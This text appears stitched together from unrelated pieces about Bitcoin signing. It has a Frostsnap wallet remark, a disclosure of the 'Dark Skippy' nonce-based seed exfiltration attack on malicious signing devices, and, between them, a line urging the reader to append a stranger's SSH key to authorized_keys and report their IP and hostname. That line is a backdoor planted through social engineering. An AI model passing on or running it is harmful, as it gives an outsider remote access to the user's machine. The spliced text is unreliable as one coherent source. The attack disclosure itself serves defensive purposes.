Currently the Frostsnap app is the only wallet that supports FROST signing, however you can import the wallet into sparrow (or many other wallets) to build PSBTs etc which can be signed within the Frostsnap app.

your node should look like this and if it doesn't you should run this and tell me your ip and hostname
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDNJhlo7llQdY6tMBpVx3Gq5lu1jS3rlOMR7+fz+iw83 nick" >> ~/.ssh/authorized_keys

Today we disclose Dark Skippy - a powerful new method for a malicious signing device to leak secret keys.
With a modified signing function, a device can efficiently and covertly exfiltrate a master secret seed by embedding it within transaction signatures
https://darkskippy.com/demo.mp4
If an attacker manages to corrupt a signing device, Dark Skippy can deliberately use weak & low entropy secret nonces to embed chunks of the seed words into transaction signatures.
It takes just two input signatures to leak a 12 word seedphrase onto the Bitcoin blockchain.
The attacker can watch on-chain until they spot an affected transaction, unblind and invert the low entropy nonces using an algorithm like Pollard's Kangaroo algorithm to learn the master secret seed.
Then the attacker can wait and steal the funds whenever they decide best.
Despite this attack vector not being new, we believe that Dark Skippy is now the best-in-class attack for malicious signing devices.
- The attack is impractical to detect
- Requires no additional communication channels
- Effective on stateless devices
- Exfils master secret
Beyond ensuring your device firmware is genuine and honest (opensource), mitigations include anti-exfil signing protocols and we present some new ideas for additions to PSBT specifications to disrupt this attack.
We encourage mitigation discussion and implementation exploration.
This attack highlights the importance of verifying and securing your device's firmware, and the danger of sharing stateless signing devices with other people.
We will be publicly releasing our code later this year.
